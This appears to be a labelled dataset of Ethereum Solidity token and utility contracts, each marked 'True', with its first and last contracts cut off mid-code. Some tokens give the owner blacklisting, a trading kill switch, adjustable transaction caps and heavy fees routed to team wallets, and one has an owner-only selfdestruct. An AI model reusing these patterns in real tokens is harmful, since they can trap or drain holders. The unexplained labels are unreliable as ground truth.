to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } }

True

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// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; // Pellar 2022 contract Query { struct CallMapper { address contractAddress; bytes bytesCaller; } function getTokensByAccount(address _contract, address _account) public view returns (uint256[] memory) { uint256 balance = INFT(_contract).balanceOf(_account); uint256[] memory tokens = new uint256[](balance); for (uint256 i = 0; i < balance; i++) { tokens[i] = INFT(_contract).tokenOfOwnerByIndex(_account, i); } return tokens; } function callContractsWith(CallMapper[] calldata _callers) public view returns (bool[] memory, bytes[] memory) { uint256 size = _callers.length; bool[] memory successes = new bool[](size); bytes[] memory responses = new bytes[](size); for (uint256 i = 0; i < _callers.length; i++) { (bool success, bytes memory res) = _callers[i].contractAddress.staticcall(_callers[i].bytesCaller); successes[i] = success; responses[i] = res; } return (successes, responses); } } interface INFT { function totalSupply() external view returns (uint256); function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); function tokenByIndex(uint256 index) external view returns (uint256); function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom( address from, address to, uint256 tokenId ) external; function transferFrom( address from, address to, uint256 tokenId ) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; }

True

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/** *Submitted for verification at Etherscan.io on 2021-06-23 */ /** *Submitted for verification at Etherscan.io on 2021-06-20 */ /* */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ForeverUp is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "KRAKEN"; string private constant _symbol = "THE KRAKEN"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 20; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 20; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }

True

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pragma solidity ^0.4.24; contract owned { address public owner; constructor () public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); constructor () public { totalSupply = 100000000000000000000000000; balanceOf[msg.sender] = totalSupply; name = "SensusNetwork"; symbol = "SENX"; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } } contract SensusNetwork is owned, TokenERC20 { function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); require (balanceOf[_from] >= _value); require (balanceOf[_to] + _value >= balanceOf[_to]); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); } }

True

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/** *Submitted for verification at Etherscan.io on 2022-04-14 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.9; /** * @title NonReceivableInitializedProxy * @author Anna Carroll */ contract NonReceivableInitializedProxy { // address of logic contract address public immutable logic; // ======== Constructor ========= constructor(address _logic, bytes memory _initializationCalldata) { logic = _logic; // Delegatecall into the logic contract, supplying initialization calldata (bool _ok, bytes memory returnData) = _logic.delegatecall( _initializationCalldata ); // Revert if delegatecall to implementation reverts require(_ok, string(returnData)); } // ======== Fallback ========= fallback() external payable { address _impl = logic; assembly { let ptr := mload(0x40) calldatacopy(ptr, 0, calldatasize()) let result := delegatecall(gas(), _impl, ptr, calldatasize(), 0, 0) let size := returndatasize() returndatacopy(ptr, 0, size) switch result case 0 { revert(ptr, size) } default { return(ptr, size) } } } }

True

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pragma solidity ^0.4.19; interface ERC20 { function transfer(address to, uint256 value) public returns (bool); } /** * @title Airdrop contract used to perform bulk transfers within a single transaction. */ contract Airdrop { address _owner; modifier ownerOnly { if (_owner == msg.sender) _; } function Airdrop() public { _owner = msg.sender; } function transferOwnership(address newOwner) public ownerOnly { _owner = newOwner; } /** * @dev Perform the airdrop. Restricted to no more than 300 accounts in a single transactions * @notice More than 300 accounts will exceed gas block limit. It is recommended to perform * batches using no more than 250 accounts as the actual gas cost is dependent on the * tokenContractAddress's implementation of transfer()) * * @param tokenContractAddress The address of the token contract being transfered. * @param recipients Array of accounts receiving tokens. * @param amounts Array of amount of tokens to be transferred. Index of amounts lines up with * the index of recipients. */ function drop(address tokenContractAddress, address[] recipients, uint256[] amounts) public ownerOnly { require(tokenContractAddress != 0x0); require(recipients.length == amounts.length); require(recipients.length <= 300); ERC20 tokenContract = ERC20(tokenContractAddress); for (uint8 i = 0; i < recipients.length; i++) { tokenContract.transfer(recipients[i], amounts[i]); } } }

True

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pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } contract Ownable { address public owner; function Ownable() public { owner = msg.sender; } modifier onlyOwner() { if (msg.sender != owner) { revert(); } _; } function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } function destruct() public onlyOwner { selfdestruct(owner); } } contract ERC20Basic { function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public; event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public; function approve(address spender, uint256 value) public; event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 public totalSupply; modifier onlyPayloadSize(uint256 size) { if(msg.data.length < size + 4) { revert(); } _; } function transfer(address _to, uint256 _value) public onlyPayloadSize(2 * 32) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3 * 32) { var _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); } function approve(address _spender, uint256 _value) public { if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) revert(); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract BCQ is StandardToken, Ownable { string public constant name = "BCQ"; string public constant symbol = "BCQ"; uint256 public constant decimals = 8; function BCQ() public { owner = msg.sender; totalSupply=3000000000000000000; balances[owner]=totalSupply; } function () public { revert(); } }

True

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/** *Submitted for verification at Etherscan.io on 2021-11-08 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.3; interface IPriceFeedProvider { /** * Returns the latest price for a price feed. * It reverts if the feed id is invalid: there was no price feed address provided for the given id yet */ function getLatestPrice(uint8 _priceFeedId) external view returns (int256); } interface AggregatorV3Interface { function decimals() external view returns ( uint8 ); function description() external view returns ( string memory ); function version() external view returns ( uint256 ); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData( uint80 _roundId ) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } // File: contracts/PriceFeedProvider.sol pragma solidity ^0.8.3; contract PriceFeedProvider is IPriceFeedProvider { event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); address admin; mapping(uint8 => address) private priceFeeds; constructor() { admin = msg.sender; } /** * Returns the latest price for a price feed. * It reverts if the feed id is invalid: there was no price feed address provided for the given id yet */ function getLatestPrice(uint8 _priceFeedId) external view override returns (int256) { require( priceFeeds[_priceFeedId] != address(0), "invalid price feed id" ); AggregatorV3Interface priceFeed; priceFeed = AggregatorV3Interface(priceFeeds[_priceFeedId]); (, int256 price, , , ) = priceFeed.latestRoundData(); return price; } /** * Inserts or updates the price feed address for the given price feed id */ function upsertFeed(uint8 _id, address _dataFeedAddress) external { require(msg.sender == admin, "admin only"); priceFeeds[_id] = _dataFeedAddress; } function transferOwnership(address newAdmin) external { require(msg.sender == admin, "admin only"); emit OwnershipTransferred(admin, newAdmin); admin = newAdmin; } }

True

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/** *Submitted for verification at Etherscan.io on 2022-03-20 */ /* *** Join the Gorillas via t.me/GorillasInu *** */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.11; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Gorillas is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Gorillas Inu"; string private constant _symbol = "Gorillas"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 10; uint256 private _redisFeeOnSell = 2; uint256 private _taxFeeOnSell = 10; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x45e1548fbAd78B6590B5843c621492deE4e9D4c0); address payable private _marketingAddress = payable(0xb4a00d1B858612acA0731e9d5eB377dF845c0059); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**9; uint256 public _maxWalletSize = 25000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = 